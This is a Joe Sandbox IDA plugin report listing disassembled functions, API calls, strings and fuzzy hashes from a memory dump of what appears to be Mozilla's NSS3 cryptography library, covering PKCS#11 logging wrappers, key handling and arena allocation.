Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *phNewObject = 0x%x$ hObject = 0x%x$ hSession = 0x%x$ pTemplate = 0x%p$ phNewObject = 0x%p$ ulCount = %d$ (CK_INVALID_HANDLE)$C_CopyObject
API String ID: 1003633598-1222337137
Opcode ID: 26fd7a5a7c556d587e7c59086a9f91a80f0050ee44677f54a3211e0159c2ed89
Instruction ID: 71317ab92751b12993b61cb9c9fa426bf31ddb8ba051dc23e348949d9dd07c4a
Opcode Fuzzy Hash: 26fd7a5a7c556d587e7c59086a9f91a80f0050ee44677f54a3211e0159c2ed89
Instruction Fuzzy Hash: E651E675602114ABDB20CF588F8DEAE7775AB4220CF855434F80867B02DB24AD38EBE5

Function 6C7508F0 Relevance: 33.5, APIs: 13, Strings: 6, Instructions: 230COMMON

Download Yara Rule

APIs

htonl.WSOCK32(-00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000001), ref: 6C75094D
htonl.WSOCK32(-00000001,-00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C750953
htonl.WSOCK32(-00000001,-00000001,-00000001), ref: 6C75096E
htonl.WSOCK32(-00000001,-00000001,-00000001,-00000001), ref: 6C750974
htonl.WSOCK32(-00000001,-00000001,-00000001,-00000001,-00000001), ref: 6C75098F
htonl.WSOCK32(-00000001,-00000001,-00000001,-00000001,-00000001,-00000001), ref: 6C750995

Part of subcall function 6C751800: SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6C751860
Part of subcall function 6C751800: memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,?,00000000,?,-00000001,?,6C7509BF), ref: 6C751897
Part of subcall function 6C751800: memcpy.VCRUNTIME140(?,-00000001,-00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C7518AA
Part of subcall function 6C751800: memcpy.VCRUNTIME140(?,?,?), ref: 6C7518C4

PK11_FreeSymKey.NSS3(00000000,?,?,?,?,?,?,?,-00000001,-00000001,-00000001,-00000001), ref: 6C750B4F
SECITEM_ZfreeItem_Util.NSS3(?,00000000,?,?,?,?,?,?,?,?,-00000001,-00000001,-00000001,-00000001), ref: 6C750B5E
SECITEM_ZfreeItem_Util.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,-00000001,-00000001,-00000001,-00000001), ref: 6C750B6B
SECITEM_ZfreeItem_Util.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,?,?,-00000001,-00000001), ref: 6C750B78

Strings

key, xrefs: 6C750ACB
exp, xrefs: 6C750B36
info_hash, xrefs: 6C7509E0
secret, xrefs: 6C750A88
base_nonce, xrefs: 6C750B06
psk_id_hash, xrefs: 6C7509B5

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: htonl$Item_Util$Zfreememcpy$AllocFreeK11_
String ID: base_nonce$exp$info_hash$key$psk_id_hash$secret
API String ID: 1637529542-763765719
Opcode ID: 84cd0cd22411ed88fe972a91632abb4b382c4a2b02517f027e5be9062b33a75e
Instruction ID: 956eb9397be6dbd612927c2397635b021c3be94a7380cf514490363fe438fd83
Opcode Fuzzy Hash: 84cd0cd22411ed88fe972a91632abb4b382c4a2b02517f027e5be9062b33a75e
Instruction Fuzzy Hash: 94819C75A04305AFC710CF54CA84D9AF7E9FF8C208F448929F95887751EB31EA19CB92

Function 6C7589B0 Relevance: 33.4, APIs: 11, Strings: 8, Instructions: 149COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_GenerateKey), ref: 6C7589D6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C758A04
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C758A13

Part of subcall function 6C83D930: PL_strncpyz.NSS3(?,?,?), ref: 6C83D963

PR_LogPrint.NSS3(?,00000000), ref: 6C758A29
PR_LogPrint.NSS3( pMechanism = 0x%p,?), ref: 6C758A4B
PR_LogPrint.NSS3( pTemplate = 0x%p,?), ref: 6C758A67
PR_LogPrint.NSS3( ulCount = %d,?), ref: 6C758A83
PR_LogPrint.NSS3( phKey = 0x%p,?), ref: 6C758AA1
PL_strncpyz.NSS3(?, *phKey = 0x%x,00000050), ref: 6C758B43
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C758B52
PR_LogPrint.NSS3(?,00000000), ref: 6C758B68

Strings

ulCount = %d, xrefs: 6C758A7E
*phKey = 0x%x, xrefs: 6C758B2D, 6C758B3D
phKey = 0x%p, xrefs: 6C758A9C
pTemplate = 0x%p, xrefs: 6C758A62
(CK_INVALID_HANDLE), xrefs: 6C758A0C, 6C758B4B
pMechanism = 0x%p, xrefs: 6C758A46
C_GenerateKey, xrefs: 6C7589D1
hSession = 0x%x, xrefs: 6C7589EE, 6C7589FE

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *phKey = 0x%x$ hSession = 0x%x$ pMechanism = 0x%p$ pTemplate = 0x%p$ phKey = 0x%p$ ulCount = %d$ (CK_INVALID_HANDLE)$C_GenerateKey
API String ID: 1003633598-2039122979
Opcode ID: 4d9ffa3f1014f85efac924504403124043af237e197e9fb4b7621852d438b0cb
Instruction ID: 57a98eb9e13612075750d9202dbbae8aa518e3415648dc7c92d9f486e2fe5bf4
Opcode Fuzzy Hash: 4d9ffa3f1014f85efac924504403124043af237e197e9fb4b7621852d438b0cb
Instruction Fuzzy Hash: AD51A434652158ABDB20DF58DF8CE9F3775AB4230CF459435E8086BB12DB34A829DBD1

Function 6C762D80 Relevance: 33.4, APIs: 22, Instructions: 381COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,?,?,00000000,?), ref: 6C762DEC
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,00000000,?), ref: 6C762E00
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C762E2B
PR_SetError.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C762E43
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,00000000,?,?,?,6C734F1C,?,-00000001,00000000,?), ref: 6C762E74
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,00000000,?,?,?,6C734F1C,?,-00000001,00000000), ref: 6C762E88
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6C762EC6
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6C762EE4
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6C762EF8
PR_Unlock.NSS3(?), ref: 6C762F62
TlsGetValue.KERNEL32 ref: 6C762F86
EnterCriticalSection.KERNEL32(0000001C), ref: 6C762F9E
PR_Unlock.NSS3(?), ref: 6C762FCA
TlsGetValue.KERNEL32 ref: 6C76301A
EnterCriticalSection.KERNEL32(?), ref: 6C76302E
PR_Unlock.NSS3(?), ref: 6C763066
PR_SetError.NSS3(00000000,00000000), ref: 6C763085
PR_Unlock.NSS3(?), ref: 6C7630EC
TlsGetValue.KERNEL32 ref: 6C76310C
EnterCriticalSection.KERNEL32(0000001C), ref: 6C763124
PR_Unlock.NSS3(?), ref: 6C76314C

Part of subcall function 6C749180: PK11_NeedUserInit.NSS3(?,?,?,00000000,00000001,6C77379E,?,6C749568,00000000,?,6C77379E,?,00000001,?), ref: 6C74918D
Part of subcall function 6C749180: PR_SetError.NSS3(FFFFE000,00000000,?,?,?,00000000,00000001,6C77379E,?,6C749568,00000000,?,6C77379E,?,00000001,?), ref: 6C7491A0

Part of subcall function 6C7107A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C6A204A), ref: 6C7107AD
Part of subcall function 6C7107A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C6A204A), ref: 6C7107CD
Part of subcall function 6C7107A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C6A204A), ref: 6C7107D6
Part of subcall function 6C7107A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C6A204A), ref: 6C7107E4
Part of subcall function 6C7107A0: TlsSetValue.KERNEL32(00000000,?,6C6A204A), ref: 6C710864
Part of subcall function 6C7107A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C710880
Part of subcall function 6C7107A0: TlsSetValue.KERNEL32(00000000,?,?,6C6A204A), ref: 6C7108CB
Part of subcall function 6C7107A0: TlsGetValue.KERNEL32(?,?,6C6A204A), ref: 6C7108D7
Part of subcall function 6C7107A0: TlsGetValue.KERNEL32(?,?,6C6A204A), ref: 6C7108FB

PR_SetError.NSS3(00000000,00000000), ref: 6C76316D

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: Value$Unlock$CriticalEnterSection$Error$calloc$InitK11_NeedUser
String ID:
API String ID: 3383223490-0
Opcode ID: b0db73c7119a3665f4083ae19959fe4f35a74ac76825fe769d4920d878cd6480
Instruction ID: 79f4a795dca81d7a53cc107bf2165066ac22af73d352b2cdae54e4cb81d2d159
Opcode Fuzzy Hash: b0db73c7119a3665f4083ae19959fe4f35a74ac76825fe769d4920d878cd6480
Instruction Fuzzy Hash: 36F1ACB1D00609AFDF11DF69D988B9EBBB4BF09318F184169EC04A7B11E731A895CBD1

Function 6C75AF20 Relevance: 33.4, APIs: 10, Strings: 9, Instructions: 126COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_SignMessage), ref: 6C75AF46
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C75AF74
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C75AF83

Part of subcall function 6C83D930: PL_strncpyz.NSS3(?,?,?), ref: 6C83D963

PR_LogPrint.NSS3(?,00000000), ref: 6C75AF99
PR_LogPrint.NSS3( pParameter = 0x%p,?), ref: 6C75AFBE
PR_LogPrint.NSS3( ulParameterLen = 0x%p,?), ref: 6C75AFD9
PR_LogPrint.NSS3( pData = 0x%p,?), ref: 6C75AFF4
PR_LogPrint.NSS3( ulDataLen = %d,?), ref: 6C75B00F
PR_LogPrint.NSS3( pSignature = 0x%p,?), ref: 6C75B028
PR_LogPrint.NSS3( pulSignatureLen = 0x%p,?), ref: 6C75B041

Strings

pulSignatureLen = 0x%p, xrefs: 6C75B03C
pData = 0x%p, xrefs: 6C75AFEF
pSignature = 0x%p, xrefs: 6C75B023
C_SignMessage, xrefs: 6C75AF41
(CK_INVALID_HANDLE), xrefs: 6C75AF7C
ulParameterLen = 0x%p, xrefs: 6C75AFD4
pParameter = 0x%p, xrefs: 6C75AFB9
ulDataLen = %d, xrefs: 6C75B00A
hSession = 0x%x, xrefs: 6C75AF5E, 6C75AF6E

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pData = 0x%p$ pParameter = 0x%p$ pSignature = 0x%p$ pulSignatureLen = 0x%p$ ulDataLen = %d$ ulParameterLen = 0x%p$ (CK_INVALID_HANDLE)$C_SignMessage
API String ID: 1003633598-1612141141
Opcode ID: 59fe71f8461bbb6dabf06c4c3815630baac4ec6ead059bac26bdcaeee6f64710
Instruction ID: a80dab21b08fa1a19e2050356da67fb9dcf6338b1b6890d52d2e76ac67e482a6
Opcode Fuzzy Hash: 59fe71f8461bbb6dabf06c4c3815630baac4ec6ead059bac26bdcaeee6f64710
Instruction Fuzzy Hash: 7F41B435602158AFDB308F58DF8CEA977B1AB4231DF499434E80857B12DB35A868DBE1

Function 6C78C980 Relevance: 33.3, APIs: 22, Instructions: 298memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000400,6C78AEB0,?,00000004,00000001,?,00000000,?,?), ref: 6C78C98E

Part of subcall function 6C780FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C7287ED,00000800,6C71EF74,00000000), ref: 6C781000
Part of subcall function 6C780FF0: PR_NewLock.NSS3(?,00000800,6C71EF74,00000000), ref: 6C781016
Part of subcall function 6C780FF0: PL_InitArenaPool.NSS3(00000000,security,6C7287ED,00000008,?,00000800,6C71EF74,00000000), ref: 6C78102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000028,?,6C78AEB0,?,00000004,00000001,?,00000000,?,?), ref: 6C78C9A1

Part of subcall function 6C7810C0: TlsGetValue.KERNEL32(?,6C728802,00000000,00000008,?,6C71EF74,00000000), ref: 6C7810F3
Part of subcall function 6C7810C0: EnterCriticalSection.KERNEL32(?,?,6C728802,00000000,00000008,?,6C71EF74,00000000), ref: 6C78110C
Part of subcall function 6C7810C0: PL_ArenaAllocate.NSS3(?,?,?,6C728802,00000000,00000008,?,6C71EF74,00000000), ref: 6C781141
Part of subcall function 6C7810C0: PR_Unlock.NSS3(?,?,?,6C728802,00000000,00000008,?,6C71EF74,00000000), ref: 6C781182
Part of subcall function 6C7810C0: TlsGetValue.KERNEL32(?,6C728802,00000000,00000008,?,6C71EF74,00000000), ref: 6C78119C

SECOID_FindOIDByTag_Util.NSS3(0000001A,?,?,?,6C78AEB0,?,00000004,00000001,?,00000000,?,?), ref: 6C78C9D3

Part of subcall function 6C780840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C7808B4

SECITEM_CopyItem_Util.NSS3(00000000,-00000018,00000000,?,?,?,?,6C78AEB0,?,00000004,00000001,?,00000000,?,?), ref: 6C78C9E6

Part of subcall function 6C77FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C778D2D,?,00000000,?), ref: 6C77FB85
Part of subcall function 6C77FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C77FBB1

PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,6C78AEB0,?,00000004,00000001,?,00000000,?,?), ref: 6C78C9F5
PORT_ArenaAlloc_Util.NSS3(00000000,00000050,?,?,?,?,?,?,?,6C78AEB0,?,00000004,00000001,?,00000000,?), ref: 6C78CA0A
SEC_ASN1EncodeInteger_Util.NSS3(00000000,00000000,00000001,?,?,?,?,?,?,?,?,?,6C78AEB0,?,00000004,00000001), ref: 6C78CA33
SECOID_FindOIDByTag_Util.NSS3(00000019,?,?,?,?,?,?,?,?,?,?,?,?,6C78AEB0,?,00000004), ref: 6C78CA4D
SECITEM_CopyItem_Util.NSS3(00000001,?,00000000), ref: 6C78CA60
SEC_PKCS7DestroyContentInfo.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6C78AEB0,?,00000004), ref: 6C78CA6D
PR_Now.NSS3 ref: 6C78CAD6
PORT_ArenaMark_Util.NSS3(00000000), ref: 6C78CB23
PORT_ArenaAlloc_Util.NSS3(00000000,0000005C), ref: 6C78CB32
SEC_ASN1EncodeInteger_Util.NSS3(00000000,00000000,00000001), ref: 6C78CB64
SECOID_SetAlgorithmID_Util.NSS3(00000000,?,00000001,00000000), ref: 6C78CBBB
PORT_ArenaAlloc_Util.NSS3(?,00000008), ref: 6C78CBD0
PORT_ArenaAlloc_Util.NSS3(00000000,00000018), ref: 6C78CBF6
PORT_ArenaAlloc_Util.NSS3(00000000,00000008), ref: 6C78CC18
SECOID_SetAlgorithmID_Util.NSS3(00000000,00000000,00000001,00000000), ref: 6C78CC39
PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6C78CC5B

Part of subcall function 6C7810C0: PL_ArenaAllocate.NSS3(?,6C728802,00000000,00000008,?,6C71EF74,00000000), ref: 6C78116E

PORT_ArenaAlloc_Util.NSS3(00000000,00000008), ref: 6C78CC69
SECITEM_CopyItem_Util.NSS3(00000000,?,00000000), ref: 6C78CC89

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_$CopyItem_$AlgorithmAllocateArena_EncodeFindInteger_Tag_Value$ContentCriticalDestroyEnterErrorFreeInfoInitLockMark_PoolSectionUnlockcallocmemcpy
String ID:
API String ID: 1766420342-0
Opcode ID: 46b69581b19fff29e92fda715dae2d0dce6d76cbda2d56db6ccf6be27dfd7d5b
Instruction ID: 50823a24f38c792f055164da96f2a3fc56080c42568fcb02a36e70a098a20067
Opcode Fuzzy Hash: 46b69581b19fff29e92fda715dae2d0dce6d76cbda2d56db6ccf6be27dfd7d5b
Instruction Fuzzy Hash: 5AB1C1B5D023069FEB00DF64DE44BAA7BB4BF18309F104235EA14A7751EB71D994CBA1

Function 6C7629A0 Relevance: 31.8, APIs: 15, Strings: 3, Instructions: 292COMMON

Download Yara Rule

APIs

PK11_ImportPublicKey.NSS3(00000000,?,00000000,?,?,?,?,?,^jsl,00000001,00000000,?,6C736540,?,0000000D,00000000), ref: 6C762A39
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,^jsl,00000001,00000000,?,6C736540,?,0000000D,00000000), ref: 6C762A5B
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,^jsl,00000001,00000000,?,6C736540,?,0000000D), ref: 6C762A6F
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,^jsl,00000001), ref: 6C762AAD
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,^jsl,00000001,00000000), ref: 6C762ACB
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,^jsl,00000001), ref: 6C762ADF
PR_Unlock.NSS3(?), ref: 6C762B38
PR_Unlock.NSS3(?), ref: 6C762B8B

Part of subcall function 6C7107A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C6A204A), ref: 6C7107AD
Part of subcall function 6C7107A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C6A204A), ref: 6C7107CD
Part of subcall function 6C7107A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C6A204A), ref: 6C7107D6
Part of subcall function 6C7107A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C6A204A), ref: 6C7107E4
Part of subcall function 6C7107A0: TlsSetValue.KERNEL32(00000000,?,6C6A204A), ref: 6C710864
Part of subcall function 6C7107A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C710880
Part of subcall function 6C7107A0: TlsSetValue.KERNEL32(00000000,?,?,6C6A204A), ref: 6C7108CB
Part of subcall function 6C7107A0: TlsGetValue.KERNEL32(?,?,6C6A204A), ref: 6C7108D7
Part of subcall function 6C7107A0: TlsGetValue.KERNEL32(?,?,6C6A204A), ref: 6C7108FB

PR_SetError.NSS3(FFFFE040,00000000,?,?,?,?,?,^jsl,00000001,00000000,?,6C736540,?,0000000D,00000000,?), ref: 6C762CA2

Strings

@esl, xrefs: 6C7629E7, 6C762A1D
@esl, xrefs: 6C762A18, 6C762A22
^jsl, xrefs: 6C7629A5

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: Value$Unlock$CriticalEnterSectioncalloc$ErrorImportK11_Public
String ID: @esl$@esl$^jsl
API String ID: 2580468248-848823168
Opcode ID: e193ad9a975acd4ffb6ede2812f09d49c13f5e5a2126b85aee14383e0f8d850d
Instruction ID: 2fc3b66d03d3519b8e9b1578ee52cba58993270b4fc6e6506f704e2f4499cfd7
Opcode Fuzzy Hash: e193ad9a975acd4ffb6ede2812f09d49c13f5e5a2126b85aee14383e0f8d850d
Instruction Fuzzy Hash: 2AB1BD71D002059FDB61DF6ADA88A9AB7B4FF49308F144539EC45A3E12E731E950CBA1

Function 6C764C20 Relevance: 30.3, APIs: 20, Instructions: 290memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C764C4C
EnterCriticalSection.KERNEL32(?), ref: 6C764C60
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6C764CA1
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 6C764CBE
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 6C764CD2
realloc.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C764D3A
PORT_Alloc_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C764D4F
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6C764DB7

Part of subcall function 6C7CDD70: TlsGetValue.KERNEL32 ref: 6C7CDD8C
Part of subcall function 6C7CDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C7CDDB4

Part of subcall function 6C7107A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C6A204A), ref: 6C7107AD
Part of subcall function 6C7107A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C6A204A), ref: 6C7107CD
Part of subcall function 6C7107A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C6A204A), ref: 6C7107D6
Part of subcall function 6C7107A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C6A204A), ref: 6C7107E4
Part of subcall function 6C7107A0: TlsSetValue.KERNEL32(00000000,?,6C6A204A), ref: 6C710864
Part of subcall function 6C7107A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C710880
Part of subcall function 6C7107A0: TlsSetValue.KERNEL32(00000000,?,?,6C6A204A), ref: 6C7108CB
Part of subcall function 6C7107A0: TlsGetValue.KERNEL32(?,?,6C6A204A), ref: 6C7108D7
Part of subcall function 6C7107A0: TlsGetValue.KERNEL32(?,?,6C6A204A), ref: 6C7108FB

TlsGetValue.KERNEL32 ref: 6C764DD7
EnterCriticalSection.KERNEL32(?), ref: 6C764DEC
PR_Unlock.NSS3(?), ref: 6C764E1B
PR_SetError.NSS3(00000000,00000000), ref: 6C764E2F
PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C764E5A
PR_SetError.NSS3(00000000,00000000), ref: 6C764E71
free.MOZGLUE(00000000), ref: 6C764E7A
PR_Unlock.NSS3(?), ref: 6C764EA2
TlsGetValue.KERNEL32 ref: 6C764EC1
EnterCriticalSection.KERNEL32(?), ref: 6C764ED6
PR_Unlock.NSS3(?), ref: 6C764F01
free.MOZGLUE(00000000), ref: 6C764F2A

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: Value$CriticalSectionUnlock$Enter$Error$callocfree$Alloc_LeaveUtilrealloc
String ID:
API String ID: 759471828-0
Opcode ID: 4108dc3425bcfe68628f8cff4e847d38d8017e390e2423cf3b24d15b3d8bb474
Instruction ID: f27e180a4e8349a193f547521069b4c1d56e05d6a73812d0f53fbcc446a18dce
Opcode Fuzzy Hash: 4108dc3425bcfe68628f8cff4e847d38d8017e390e2423cf3b24d15b3d8bb474
Instruction Fuzzy Hash: 12B110B1A002069FDB11EF69D959AAA77B8BF4A31CF044134ED0597F01EB30E964CBE1

Function 6C7B6E90 Relevance: 30.1, APIs: 11, Strings: 6, Instructions: 305fileCOMMON

Download Yara Rule

APIs

PR_GetEnvSecure.NSS3(SSLKEYLOGFILE,?,6C7B6BF7), ref: 6C7B6EB6

Part of subcall function 6C711240: TlsGetValue.KERNEL32(00000040,?,6C71116C,NSPR_LOG_MODULES), ref: 6C711267
Part of subcall function 6C711240: EnterCriticalSection.KERNEL32(?,?,?,6C71116C,NSPR_LOG_MODULES), ref: 6C71127C
Part of subcall function 6C711240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6C71116C,NSPR_LOG_MODULES), ref: 6C711291
Part of subcall function 6C711240: PR_Unlock.NSS3(?,?,?,?,6C71116C,NSPR_LOG_MODULES), ref: 6C7112A0

fopen.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,6C85FC0A,6C7B6BF7), ref: 6C7B6ECD
ftell.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C7B6EE0
